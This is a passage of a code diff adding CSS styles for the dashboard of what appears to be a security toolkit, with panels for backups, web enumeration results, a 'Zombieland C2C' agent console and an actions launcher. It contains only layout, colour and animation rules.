═══════════════════════════════════════════════════════════════════════ + BACKUP & UPDATE (.page-backup) + ═══════════════════════════════════════════════════════════════════════ */ +.page-backup .main-container { + display: flex; + height: calc(100vh - 60px); + width: 100%; + position: relative; +} + +.page-backup .section-list { + list-style-type: none; + padding: 0; + margin: 0; + flex-grow: 1; +} + +.page-backup .list-item { + display: flex; + align-items: center; + padding: 12px; + cursor: pointer; + border-radius: var(--radius); + margin-bottom: 12px; + transition: box-shadow .3s, background-color .3s, border-color .3s; + background: var(--grad-card); + border: 1px solid var(--c-border); + box-shadow: var(--shadow); +} + +.page-backup .list-item:hover { + box-shadow: var(--shadow-hover); +} + +.page-backup .list-item.selected { + border: 1px solid #00e764; +} + +.page-backup .list-item img { + margin-right: 10px; +} + +@keyframes bak-spin { + 0% { + transform: rotate(0); + } + + 100% { + transform: rotate(360deg); + } +} + +.page-backup .right-panel { + flex: 1; + display: flex; + flex-direction: column; + padding: 20px; + overflow-y: auto; + box-sizing: border-box; + background-color: #1e1e1e; +} + +.page-backup .content-section { + display: none; +} + +.page-backup .content-section.active { + display: block; +} + +.page-backup form { + margin-top: 20px; +} + +.page-backup form label { + display: block; + margin-bottom: 5px; + color: white; +} + +.page-backup form input[type="text"] { + width: 100%; + padding: 8px; + margin-bottom: 10px; + border: 1px solid #555; + border-radius: 4px; + background-color: #07422f40; + color: #fff; + cursor: text; + pointer-events: auto; +} + +.page-backup form input[type="text"]:focus { + outline: none; + border-color: #007acc; + background-color: #3d3d3d; +} + +.page-backup form input[type="text"]:hover { + border-color: #666; +} + +.page-backup .default-badge { + display: inline-block; + padding: 2px 8px; + margin-left: 8px; + background-color: #007acc; + color: white; + border-radius: 12px; + font-size: .85em; + font-weight: 700; +} + +.page-backup .bj-modal { + display: none; + position: fixed; + z-index: 1000; + inset: 0; + overflow: auto; + background-color: rgba(0, 0, 0, .5); +} + +.page-backup .bj-modal__content { + background-color: #2d2d2d; + margin: 10% auto; + padding: 20px; + border: 1px solid #888; + width: 80%; + max-width: fit-content; + border-radius: 8px; + z-index: 1001; + color: #fff; +} + +.page-backup .bj-modal__close { + color: #aaa; + float: right; + font-size: 28px; + font-weight: 700; + cursor: pointer; +} + +.page-backup .bj-modal__close:hover, +.page-backup .bj-modal__close:focus { + color: #fff; + text-decoration: none; +} + +.page-backup .bj-loading-overlay { + display: none; + position: fixed; + z-index: 1100; + inset: 0; + background-color: rgba(0, 0, 0, .7); + justify-content: center; + align-items: center; +} + +.page-backup .bj-rotating-arrow { + width: 50px; + height: 50px; + border: 5px solid transparent; + border-top: 5px solid #007acc; + border-right: 5px solid #007acc; + border-radius: 50%; + animation: bak-spin 1.5s linear infinite, bak-bjPulse 1.5s ease-in-out infinite; +} + +@keyframes bak-bjPulse { + 0% { + box-shadow: 0 0 0 0 rgba(0, 122, 204, .7); + } + + 70% { + box-shadow: 0 0 0 20px rgba(0, 122, 204, 0); + } + + 100% { + box-shadow: 0 0 0 0 rgba(0, 122, 204, 0); + } +} + +.page-backup #bj-update-message { + background-color: #28a745; + color: #fff; + padding: 12px 20px; + border-radius: 25px; + display: inline-block; + margin-bottom: 15px; + box-shadow: 0 4px 6px rgba(0, 0, 0, .1); + font-size: 16px; + max-width: 100%; + word-wrap: break-word; +} + +.page-backup #bj-update-message.fade-in { + animation: bak-fadeIn .5s ease-in-out; +} + +@keyframes bak-fadeIn { + from { + opacity: 0; + transform: translateY(-10px); + } + + to { + opacity: 1; + transform: translateY(0); + } +} + +@media (max-width:768px) { + .page-backup .main-container { + flex-direction: column; + } +} + +@media (min-width:769px) { + .page-backup .menu-icon { + display: none; + } + + .page-backup .side-menu { + transform: translateX(0); + position: relative; + height: 98%; + z-index: 10000; + } +} + +.page-backup .form-control { + cursor: text; + pointer-events: auto; + background-color: #2d2d2d; + color: #ffffff; +} + +.page-backup .backups-table button.loading { + position: relative; + pointer-events: none; + opacity: .6; + background-color: #2d2d2d; + color: #fff; + border: #007acc; +} + +/* ═══════════════════════════════════════════════════════════════════════ + WEB ENUM (.webenum-container) + ═══════════════════════════════════════════════════════════════════════ */ +.webenum-container .container { + max-width: 1400px; + margin: 0 auto; + padding: 16px; +} + +.webenum-container .header.card { + display: flex; + align-items: center; + justify-content: space-between; + gap: 10px; +} + +.webenum-container .header h1 { + margin: 0; + color: var(--acid); +} + +.webenum-container .controls.card { + display: grid; + gap: 10px; +} + +.webenum-container .controls-row { + display: flex; + flex-wrap: wrap; + gap: var(--gap-3); + align-items: center; +} + +.webenum-container .search-box { + flex: 1; + min-width: 230px; + position: relative; +} + +.webenum-container .search-box .input { + width: 100%; + padding-right: 36px; +} + +.webenum-container .search-icon { + position: absolute; + right: 10px; + top: 50%; + transform: translateY(-50%); + color: var(--acid); +} + +.webenum-container .stats { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); + gap: 10px; + margin: 10px 0 12px; +} + +.webenum-container .stat-card { + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 14px; + padding: 12px 14px; + box-shadow: var(--shadow); +} + +.webenum-container .stat-value { + font-weight: 700; + color: var(--acid); +} + +.webenum-container .stat-label { + color: var(--muted); +} + +.webenum-container .status-legend.card { + display: flex; + flex-wrap: wrap; + gap: 8px; + align-items: center; +} + +.webenum-container .results-container.card { + overflow: hidden; +} + +.webenum-container .results-header { + display: flex; + justify-content: space-between; + align-items: center; + border-bottom: 1px solid var(--c-border); + padding-bottom: 8px; + margin-bottom: 8px; +} + +.webenum-container .results-count { + color: var(--accent-2); + font-weight: 600; +} + +.webenum-container .table-container { + overflow: auto; + max-height: calc(100vh - 520px); + min-height: 400px; +} + +.webenum-container table { + width: 100%; + border-collapse: collapse; +} + +.webenum-container th { + position: sticky; + top: 0; + z-index: 1; + background: var(--c-panel-2); + color: var(--acid); + text-align: left; + padding: 10px 12px; + border-bottom: 1px solid var(--c-border); + user-select: none; + cursor: pointer; + font-weight: 700; +} + +.webenum-container td { + padding: 8px 12px; + border-bottom: 1px dashed var(--c-border); +} + +.webenum-container tr { + transition: background .15s ease; +} + +.webenum-container tr:hover { + background: color-mix(in oklab, var(--acid) 8%, transparent); + cursor: pointer; +} + +.webenum-container th.sortable::after { + content: ' \21C5'; + opacity: .5; +} + +.webenum-container th.sort-asc::after { + content: ' \2191'; + color: var(--acid); + opacity: 1; +} + +.webenum-container th.sort-desc::after { + content: ' \2193'; + color: var(--acid); + opacity: 1; +} + +.webenum-container .no-results { + text-align: center; + padding: 40px; + color: var(--muted); + font-style: italic; +} + +.webenum-container .loading { + text-align: center; + padding: 40px; + color: var(--acid); +} + +.webenum-container .host-badge { + background: var(--c-chip-bg); + color: var(--accent-2); + padding: 3px 8px; + border-radius: 8px; + border: 1px solid var(--c-border); + font-weight: 600; + font-size: .9rem; +} + +.webenum-container .port-badge { + background: var(--c-chip-bg); + color: var(--acid); + padding: 3px 8px; + border-radius: 8px; + border: 1px solid var(--c-border); + font-weight: 700; + font-size: .9rem; +} + +.webenum-container .url-link { + color: var(--acid-2); + text-decoration: none; + font-size: 1.1rem; + transition: .2s; +} + +.webenum-container .url-link:hover { + color: var(--acid); + transform: scale(1.2); + display: inline-block; +} + +.webenum-container .status { + display: inline-block; + min-width: 60px; + text-align: center; + padding: 5px 10px; + border-radius: 8px; + font-weight: 700; + font-size: .85rem; + border: 1px solid var(--c-border); + transition: .2s; + cursor: default; +} + +.webenum-container .status:hover { + transform: translateY(-1px); + box-shadow: 0 2px 8px rgba(0, 0, 0, 0.3); +} + +.webenum-container .status-2xx { + background: var(--ok); + color: var(--ink-invert); +} + +.webenum-container .status-3xx { + background: var(--warning); + color: var(--ink-invert); +} + +.webenum-container .status-4xx { + background: var(--danger); + color: var(--ink); +} + +.webenum-container .status-5xx { + background: color-mix(in oklab, var(--danger) 65%, var(--lvl-crit-bg) 35%); + color: var(--ink); +} + +.webenum-container .status-unknown { + background: var(--muted-off); + color: var(--ink); +} + +.webenum-container .pagination { + display: flex; + justify-content: center; + align-items: center; + gap: 8px; + padding: 10px; + background: var(--c-panel); + border-top: 1px dashed var(--c-border); +} + +.webenum-container .page-btn { + display: inline-flex; + align-items: center; + justify-content: center; + padding: 8px 10px; + border-radius: var(--control-r); + background: var(--c-btn); + border: 1px solid var(--c-border-strong); + color: var(--ink); + cursor: pointer; + box-shadow: var(--shadow); + transition: .18s; +} + +.webenum-container .page-btn:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.webenum-container .page-btn.active { + outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); +} + +.webenum-container .page-btn:disabled { + opacity: .5; + cursor: not-allowed; +} + +.webenum-container .btn-primary { + background: linear-gradient(180deg, color-mix(in oklab, var(--acid) 28%, var(--c-btn)), var(--c-btn)); + border-color: color-mix(in oklab, var(--acid) 45%, var(--c-border)); + color: var(--ink); +} + +.webenum-container .webenum-modal-backdrop { + display: none; + position: fixed; + inset: 0; + background: rgba(0, 0, 0, 0.85); + backdrop-filter: blur(4px); + z-index: 9999; + align-items: center; + justify-content: center; + animation: we-fadeIn 0.2s ease; +} + +.webenum-container .webenum-modal-backdrop.show { + display: flex; +} + +.webenum-container .webenum-modal-content { + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + box-shadow: 0 8px 32px rgba(0, 0, 0, 0.5); + width: min(720px, 96vw); + max-height: 86vh; + overflow: auto; + padding: 24px; + position: relative; + animation: we-slideUp 0.3s ease; +} + +.webenum-container .webenum-modal-content h2 { + margin: 0 0 16px; + color: var(--acid); + font-size: 1.5rem; +} + +.webenum-container .webenum-close { + position: absolute; + top: 16px; + right: 16px; + color: var(--muted); + font-size: 28px; + font-weight: 700; + cursor: pointer; + line-height: 1; + transition: .2s; + background: var(--c-btn); + border: 1px solid var(--c-border); + border-radius: 8px; + width: 32px; + height: 32px; + display: flex; + align-items: center; + justify-content: center; +} + +.webenum-container .webenum-close:hover { + color: var(--acid); + transform: rotate(90deg); +} + +@keyframes we-fadeIn { + from { + opacity: 0; + } + + to { + opacity: 1; + } +} + +@keyframes we-slideUp { + from { + transform: translateY(20px); + opacity: 0; + } + + to { + transform: translateY(0); + opacity: 1; + } +} + +@media (max-width:768px) { + .webenum-container .container { + padding: 10px; + } + + .webenum-container .results-header { + flex-direction: column; + gap: 8px; + text-align: center; + } + + .webenum-container th, + .webenum-container td { + padding: 8px 6px; + } +} + +@media (max-width:480px) { + + .webenum-container th, + .webenum-container td { + padding: 6px 4px; + font-size: .85rem; + } + + .webenum-container .status { + font-size: .75rem; + } +} + +/* ═══════════════════════════════════════════════════════════════════════ + ZOMBIELAND C2C (.zombieland-container) + ═══════════════════════════════════════════════════════════════════════ */ +.zombieland-container .panel { + background: var(--panel); + border: 1px solid var(--c-border); + border-radius: var(--radius); + box-shadow: var(--shadow); +} + +.zombieland-container .btn-icon { + padding: 8px; + min-width: 36px; + display: inline-flex; + align-items: center; + justify-content: center; +} + +.zombieland-container .btn-primary { + background: linear-gradient(180deg, color-mix(in oklab, var(--accent) 22%, var(--btn-bg-solid)), var(--btn-bg-solid)); + border-color: color-mix(in oklab, var(--accent) 55%, var(--border)); +} + +.zombieland-container .btn-danger { + background: linear-gradient(180deg, color-mix(in oklab, var(--danger) 20%, var(--btn-bg-solid)), var(--btn-bg-solid)); + border-color: color-mix(in oklab, var(--danger) 55%, var(--border)); +} + +.zombieland-container .pill { + background: var(--c-pill-bg); + border: 1px solid var(--c-border); + color: var(--muted); +} + +.zombieland-container .pill.online { + border-color: color-mix(in oklab, var(--ok) 60%, transparent); + color: var(--ok); +} + +.zombieland-container .pill.offline { + border-color: color-mix(in oklab, var(--danger) 60%, transparent); + color: var(--danger); +} + +.zombieland-container .pill.idle { + border-color: color-mix(in oklab, var(--warning) 60%, transparent); + color: var(--warning); +} + +.zombieland-container .term { + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 10px; +} + +.zombieland-container .console-output { + height: 400px; + overflow-y: auto; + padding: 12px; + font: var(--font-mono); + background: var(--grad-console); + border-radius: 8px; +} + +.zombieland-container .console-line { + margin: 4px 0; + display: flex; + align-items: flex-start; + gap: 8px; + font: var(--font-mono); +} + +.zombieland-container .console-time { + color: var(--muted); + font-size: 11px; +} + +.zombieland-container .console-type { + padding: 2px 6px; + border-radius: 999px; + font-size: 11px; + font-weight: 700; + border: 1px solid var(--c-border); + background: var(--c-chip-bg); +} + +.zombieland-container .console-type.tx { + background: var(--switch-on-bg); + color: var(--ok); + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.zombieland-container .console-type.rx { + background: color-mix(in oklab, var(--accent-2) 18%, var(--c-panel)); + color: var(--accent-2); + border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); +} + +.zombieland-container .console-content { + flex: 1; + word-break: break-word; +} + +.zombieland-container .console-content pre { + margin: 0; + white-space: pre-wrap; +} + +.zombieland-container .agent-card { + transition: transform .16s ease, box-shadow .16s ease, border-color .16s ease; + cursor: pointer; + position: relative; + border: 1px solid var(--c-border); + border-radius: var(--radius); + background: var(--grad-card); + box-shadow: var(--shadow); +} + +.zombieland-container .agent-card:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.zombieland-container .agent-card.selected { + border-color: color-mix(in oklab, var(--accent) 55%, transparent); + background: var(--grad-chip-selected); +} + +.zombieland-container .os-icon { + width: 24px; + height: 24px; +} + +.zombieland-container .toast.info { + border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); +} + +.zombieland-container .toast.success { + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.zombieland-container .toast.error { + border-color: color-mix(in oklab, var(--danger) 60%, transparent); +} + +.zombieland-container .toast.warning { + border-color: color-mix(in oklab, var(--warning) 60%, transparent); +} + +.zombieland-container .quick-cmd { + padding: 6px 12px; + background: var(--c-panel); + border: 1px dashed var(--c-border); + border-radius: 8px; + font-size: 12px; + cursor: pointer; +} + +.zombieland-container .quick-cmd:hover { + box-shadow: 0 0 0 1px var(--c-border) inset, 0 8px 22px var(--glow-weak); +} + +.zombieland-container .metric { + text-align: center; +} + +.zombieland-container .metric-value { + font-size: 32px; + font-weight: 800; + color: var(--acid); +} + +.zombieland-container .metric-label { + font-size: 12px; + color: var(--muted); + margin-top: 4px; +} + +.zombieland-container .file-item { + padding: 8px; + display: flex; + align-items: center; + gap: 8px; + cursor: pointer; + border-radius: 10px; +} + +.zombieland-container .file-item:hover { + background: var(--c-panel); +} + +.zombieland-container .file-item.directory { + color: var(--accent-2); +} + +.zombieland-container .modal_zombie { + background: var(--grad-modal); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + box-shadow: 0 40px 120px var(--glow-strong), inset 0 0 0 1px var(--glow-strong); +} + +.zombieland-container .modal-content { + background: transparent; + border: none; + border-radius: 12px; + padding: 24px; + max-width: 720px; + width: 90%; + max-height: 80vh; + overflow-y: auto; +} + +@keyframes zl-pulseGreen { + 0% { + box-shadow: 0 0 0 0 var(--glow-strong); + } + + 70% { + box-shadow: 0 0 0 12px rgba(0, 0, 0, 0); + } + + 100% { + box-shadow: 0 0 0 0 rgba(0, 0, 0, 0); + } +} + +.zombieland-container .agent-card.pulse { + animation: zl-pulseGreen 1s ease; +} + +.zombieland-container .agent-stale-yellow { + border-color: color-mix(in oklab, var(--warning) 75%, transparent) !important; +} + +.zombieland-container .agent-stale-orange { + border-color: color-mix(in oklab, var(--warning) 95%, var(--danger) 10%); +} + +.zombieland-container .agent-stale-red { + border-color: var(--danger) !important; +} + +.zombieland-container .ecg { + position: relative; + width: 100%; + height: 42px; + overflow: hidden; + margin-top: 8px; + background: linear-gradient(transparent 23px, rgba(255, 255, 255, .04) 23px, transparent 24px); +} + +.zombieland-container .ecg-wrapper { + position: absolute; + top: 0; + left: 0; + height: 100%; + width: 600px; + display: flex; + will-change: transform; + animation: zl-ecgScroll linear infinite; +} + +@keyframes zl-ecgScroll { + from { + transform: translateX(0); + } + + to { + transform: translateX(-200px); + } +} + +.zombieland-container .ecg svg { + width: 200px; + height: 100%; + flex-shrink: 0; +} + +.zombieland-container .ecg path { + fill: none; + stroke: currentColor; + stroke-width: 2; + stroke-linecap: round; + stroke-linejoin: round; + filter: drop-shadow(0 0 2px currentColor) drop-shadow(0 0 6px currentColor); + shape-rendering: geometricPrecision; +} + +.zombieland-container .ecg.green { + color: var(--ok); +} + +.zombieland-container .ecg.yellow { + color: var(--warning); +} + +.zombieland-container .ecg.orange { + color: color-mix(in oklab, var(--warning) 70%, var(--danger) 20%); +} + +.zombieland-container .ecg.red { + color: var(--danger); +} + +.zombieland-container .ecg.flat .ecg-wrapper { + animation: none; +} + +.zombieland-container .ecg:not(.flat)::after { + content: ""; + position: absolute; + inset: 0; + background: linear-gradient(0deg, transparent, rgba(255, 255, 255, .03), transparent); + animation: zl-ecgFlicker 2.3s ease-in-out infinite alternate; + pointer-events: none; +} + +@keyframes zl-ecgFlicker { + from { + opacity: .2; + transform: translateY(0); + } + + to { + opacity: .35; + transform: translateY(-0.5px); + } +} + +.zombieland-container .console-line:has(.console-type.tx) .console-content { + color: var(--ok); +} + +.zombieland-container .console-line:has(.console-type.rx) .console-content { + color: var(--accent-2); +} + +.zombieland-container .console-output { + background: var(--grad-console); + border: 1px solid var(--c-border-strong); +} + +.zombieland-container .toolbar { + flex-wrap: wrap; + gap: 8px; +} + +.zombieland-container .quickbar { + overflow-x: auto; + -webkit-overflow-scrolling: touch; + scrollbar-width: thin; + padding-bottom: 4px; +} + +.zombieland-container .term-controls { + flex-wrap: wrap; +} + +.zombieland-container .term-controls .input, +.zombieland-container .term-controls .select { + min-width: 140px; +} + +@media (max-width: 768px) { + .zombieland-container .stats-grid { + grid-template-columns: 1fr !important; + } + + .zombieland-container .term-controls { + gap: 8px; + } + + .zombieland-container .term-controls .input { + flex: 1 1 100%; + } + + .zombieland-container .term-controls .select { + flex: 1 1 45%; + } + + .zombieland-container .term-controls .btn { + flex: 1 1 45%; + } +} + +.zombieland-container .console-type.info { + background: color-mix(in oklab, var(--accent-2) 14%, var(--c-panel)); + color: var(--accent-2); + border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); +} + +.zombieland-container .console-type.warning { + background: color-mix(in oklab, var(--warning) 12%, var(--c-panel)); + color: var(--warning); + border-color: color-mix(in oklab, var(--warning) 60%, transparent); +} + +.zombieland-container .console-type.error { + background: color-mix(in oklab, var(--danger) 12%, var(--c-panel)); + color: var(--danger); + border-color: color-mix(in oklab, var(--danger) 60%, transparent); +} + +.zombieland-container .console-type.success { + background: color-mix(in oklab, var(--ok) 12%, var(--c-panel)); + color: var(--ok); + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.zombieland-container .console-line:has(.console-type.info) .console-content { + color: var(--accent-2); +} + +.zombieland-container .console-line:has(.console-type.warning) .console-content { + color: var(--warning); +} + +.zombieland-container .console-line:has(.console-type.error) .console-content { + color: var(--danger); +} + +.zombieland-container .console-line:has(.console-type.success) .console-content { + color: var(--ok); +} + +.zombieland-container #logsOutput { + background: var(--grad-console) !important; + border: 1px solid var(--c-border-strong); + border-radius: 10px; + color: var(--ink); + padding: 12px; +} + +.zombieland-container #logsOutput .log-line { + display: flex; + align-items: flex-start; + gap: 8px; + font: var(--font-mono); + margin: 4px 0; +} + +.zombieland-container #logsOutput .log-time { + color: var(--muted); + font-size: 11px; +} + +.zombieland-container #logsOutput .log-text { + flex: 1; + word-break: break-word; +} + +.zombieland-container #logsOutput .console-type { + padding: 2px 6px; + border-radius: 999px; + font-size: 11px; + font-weight: 700; + border: 1px solid var(--c-border); + background: var(--c-chip-bg); +} + +.zombieland-container .stats-grid { + gap: 8px !important; + margin-bottom: 14px; +} + +.zombieland-container .stats-grid .panel { + padding: 10px 12px; +} + +.zombieland-container .stats-grid .metric-value { + font-size: 22px; +} + +.zombieland-container .stats-grid .metric-label { + font-size: 11px; + margin-top: 2px; +} + +@media (max-width:768px) { + .zombieland-container .stats-grid { + gap: 8px !important; + } +} + +/* ═══════════════════════════════════════════════════════════════════════ + ACTIONS LAUNCHER (.actions-container) + ═══════════════════════════════════════════════════════════════════════ */ +.actions-container #actionsLauncher { + min-height: 0; + height: 100%; + display: grid; + grid-template-columns: 1fr; + gap: var(--gap-3, 10px); +} + +.actions-container .panel { + background: var(--grad-card, var(--c-panel)); + border: 1px solid var(--c-border); + border-radius: var(--radius, 14px); + box-shadow: var(--elev, 0 10px 30px var(--acid-1a, #00ff9a1a), inset 0 0 0 1px var(--acid-22, #00ff9a22)); + overflow: clip; +} + +.actions-container .sideheader { + padding: 10px 10px 6px; + border-bottom: 1px dashed var(--c-border); +} + +.actions-container .al-side-meta { + display: flex; + align-items: center; + justify-content: space-between; + gap: 8px; + margin-bottom: 8px; +} + +.actions-container .al-side-meta .sidetitle { + color: var(--acid); + font-weight: 800; + letter-spacing: .05em; +} + +.actions-container .tabs-container { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.actions-container .tab-btn { + all: unset; + cursor: pointer; + padding: 6px 10px; + border-radius: 10px; + background: var(--c-pill-bg); + border: 1px solid var(--c-border); + color: var(--muted); +} + +.actions-container .tab-btn.active { + background: var(--grad-chip-selected); + outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); + outline-offset: 0; +} + +.actions-container .al-search { + display: flex; + gap: 10px; + padding: 10px; +} + +.actions-container .al-input { + flex: 1; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + padding: 10px 12px; + border-radius: var(--control-r, 10px); + font: inherit; +} + +.actions-container .al-input:focus { + outline: none; + box-shadow: 0 0 0 2px color-mix(in oklab, var(--acid) 55%, transparent) inset; +} + +.actions-container .sidecontent { + padding: 8px; + overflow: auto; +} + +.actions-container .al-list { + display: flex; + flex-direction: column; + gap: 10px; + padding-right: 4px; +} + +.actions-container .al-row { + position: relative; + display: grid; + grid-template-columns: 84px 1fr; + gap: 12px; + padding: 10px; + background: var(--c-panel-2); + border-radius: 12px; + cursor: pointer; + transition: transform .15s ease, border-color .15s ease, box-shadow .15s ease; +} + +.actions-container .al-row:hover { + transform: translateY(-1px); + border-color: color-mix(in oklab, var(--accent) 25%, var(--c-border)); + box-shadow: 0 10px 26px var(--glow-weak); +} + +.actions-container .al-row.selected { + outline: 2px solid color-mix(in oklab, var(--acid) 35%, transparent); + box-shadow: 0 12px 30px color-mix(in oklab, var(--acid) 25%, transparent); +} + +.actions-container .al-row .ic { + width: 84px; + height: 84px; + display: grid; + place-items: center; + border-radius: 12px; + background: var(--c-panel); + overflow: hidden; +} + +.actions-container .ic-img { + width: 70px; + height: 70px; + object-fit: cover; + display: block; +} + +.actions-container .al-row>div:nth-child(2) { + min-width: 0; + display: flex; + flex-direction: column; + gap: 4px; +} + +.actions-container .name { + font-weight: 800; + color: var(--acid-2); + font-size: 14px; + line-height: 1.2; +} + +.actions-container .desc { + color: var(--muted); + font-size: 13px; + line-height: 1.25; +} + +.actions-container .al-row .chip { + position: absolute; + top: 6px; + left: calc(84px/2 + 10px); + transform: translateX(-50%); + padding: 2px 8px; + border-radius: 999px; + border: 1px solid var(--c-border); + background: var(--c-chip-bg); + color: var(--muted); + font-size: 11px; + line-height: 1; + pointer-events: none; +} + +.actions-container .chip.ok { + color: var(--ok); + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.actions-container .chip.err { + color: var(--danger); + border-color: color-mix(in oklab, var(--danger) 60%, transparent); +} + +.actions-container .chip.run { + color: var(--acid); + border-color: color-mix(in oklab, var(--acid) 60%, transparent); +} + +.actions-container .center { + display: flex; + flex-direction: column; + min-height: 0; + height: 100%; +} + +.actions-container .toolbar2 { + display: flex; + align-items: center; + gap: 10px; + padding: 10px; + border-bottom: 1px solid var(--c-border); + background: var(--c-panel); + flex-wrap: wrap; +} + +.actions-container .seg { + display: flex; + border-radius: 10px; + overflow: hidden; + border: 1px solid var(--c-border); +} + +.actions-container .seg button { + background: var(--c-panel); + color: var(--muted); + padding: 8px 10px; + border: none; + border-right: 1px solid var(--c-border); + cursor: pointer; + font: inherit; +} + +.actions-container .seg button:last-child { + border-right: none; +} + +.actions-container .seg button.active { + color: var(--ink-invert); + background: linear-gradient(90deg, var(--acid-2), color-mix(in oklab, var(--acid-2) 60%, white)); +} + +.actions-container .al-btn { + background: var(--c-btn); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r, 10px); + padding: 8px 12px; + display: inline-flex; + align-items: center; + gap: 8px; + cursor: pointer; + transition: .18s; + box-shadow: var(--elev); + font: inherit; +} + +.actions-container .al-btn:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.actions-container .al-btn.warn { + background: linear-gradient(180deg, color-mix(in oklab, var(--warning) 28%, var(--c-btn)), var(--c-btn)); + color: var(--warning); + border-color: color-mix(in oklab, var(--warning) 55%, var(--c-border)); +} + +.actions-container .multiConsole { + flex: 1; + padding: 10px; + display: grid; + gap: 10px; + height: 100%; + grid-auto-flow: row; + grid-auto-rows: 1fr; + grid-template-rows: repeat(var(--rows, 1), 1fr); +} + +.actions-container .split-1 { + grid-template-columns: 1fr; +} + +.actions-container .split-2 { + grid-template-columns: 1fr 1fr; +} + +.actions-container .split-3 { + grid-template-columns: 1fr 1fr 1fr; +} + +.actions-container .split-4 { + grid-template-columns: 1fr 1fr; +} + +.actions-container .pane { + position: relative; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-console); + display: flex; + flex-direction: column; + box-shadow: inset 0 0 0 1px var(--c-border-muted); +} + +.actions-container .paneHeader { + display: grid; + grid-template-columns: 1fr auto; + align-items: center; + gap: 10px; + padding: 8px 10px; + border-bottom: 1px solid var(--c-border); + background: linear-gradient(180deg, color-mix(in oklab, var(--acid-2) 8%, transparent), transparent); +} + +.actions-container .paneTitle { + display: grid; + grid-template-columns: auto auto 1fr; + align-items: center; + gap: 10px; + min-width: 0; +} + +.actions-container .paneTitle .dot { + width: 8px; + height: 8px; + border-radius: 50%; + flex: 0 0 auto; +} + +.actions-container .paneIcon { + width: 70px; + height: 70px; + border-radius: 6px; + object-fit: cover; + opacity: .95; +} + +.actions-container .titleBlock { + display: flex; + flex-direction: column; + gap: 4px; + min-width: 0; +} + +.actions-container .titleLine strong { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.actions-container .metaLine { + display: flex; + flex-wrap: wrap; + gap: 6px; +} + +.actions-container .metaLine .chip { + border: 1px solid var(--c-border-strong); + background: var(--c-chip-bg); + color: var(--muted); + padding: 3px 8px; + border-radius: 999px; +} + +.actions-container .paneBtns { + display: flex; + flex-wrap: wrap; + gap: 8px; + justify-content: flex-end; +} + +.actions-container .paneBtns .al-btn { + padding: 6px 8px; + font-size: .9rem; +} + +.actions-container .paneLog { + flex: 1; + overflow: auto; + padding: 6px 8px; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace; + font-size: .92rem; +} + +.actions-container .logline { + white-space: pre-wrap; + word-break: break-word; + padding: 4px 6px; + line-height: 1.32; + color: var(--ink); +} + +.actions-container .logline.info { + color: #bfefff; +} + +.actions-container .logline.ok { + color: #9ff7c5; +} + +.actions-container .logline.warn { + color: #ffd27a; +} + +.actions-container .logline.err { + color: #ff99b3; +} + +.actions-container .logline.dim { + color: #6a8596; +} + +.actions-container .paneHighlight { + box-shadow: 0 0 0 2px var(--acid-2), 0 0 24px color-mix(in oklab, var(--acid-2) 55%, transparent) inset, 0 0 40px color-mix(in oklab, var(--acid-2) 35%, transparent); + animation: al-hi 900ms ease-out 1; +} + +@keyframes al-hi { + 0% { + transform: scale(1); + } + + 50% { + transform: scale(1.01); + } + + 100% { + transform: scale(1); + } +} + +.actions-container .section { + padding: 12px; + border-bottom: 1px dashed var(--c-border); +} + +.actions-container .h { + font-weight: 800; + letter-spacing: .5px; + color: var(--acid-2); +} + +.actions-container .sub { + color: var(--muted); + font-size: .9rem; +} + +.actions-container .builder { + padding: 12px; + display: grid; + gap: 12px; +} + +.actions-container .field { + display: grid; + gap: 6px; +} + +.actions-container .label { + font-size: .85rem; + color: var(--muted); +} + +.actions-container .ctl, +.actions-container .select, +.actions-container .range { + background: var(--c-panel); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r, 10px); + padding: 10px 12px; + font: inherit; +} + +.actions-container .ctl:focus, +.actions-container .select:focus { + outline: none; + box-shadow: 0 0 0 2px color-mix(in oklab, var(--acid) 55%, transparent) inset; +} + +.actions-container .chips { + display: flex; + gap: 8px; + flex-wrap: wrap; + padding: 10px; +} + +.actions-container .chip2 { + padding: 6px 10px; + border-radius: 999px; + background: var(--c-chip-bg); + border: 1px solid var(--c-border-hi); + cursor: pointer; + transition: .18s; +} + +.actions-container .chip2:hover { + box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); +} + +@media (max-width: 860px) { + .actions-container #actionsLauncher { + grid-template-columns: 1fr; + } + + .actions-container .toolbar2 { + display: none !important; + } + + .actions-container .paneHeader { + grid-template-columns: 1fr; + row-gap: 8px; + } + + .actions-container .paneBtns { + justify-content: flex-start; + } + + .actions-container .paneBtns .al-btn { + padding: 5px 6px; + font-size: .85rem; + } +} + +/* ═══════════════════════════════════════════════════════════════════════ + ACTIONS STUDIO (.studio-container) + ═══════════════════════════════════════════════════════════════════════ */ +.studio-container { + --st-bg: #060c12; + --st-panel: #0a1520; + --st-card: #0b1c2a; + --st-card2: #0d2132; + --st-text: #e9f3ff; + --st-muted: #9fb4c9; + --st-border: #203448; + --st-neon: #66ffd1; + --st-neon2: #57c9ff; + --st-ok: #30db98; + --st-bad: #ff6b7c; + --st-warn: #ffd166; + --st-edge: #2a557a; + --st-global: #7040ff; + --st-host: #25be7b; + 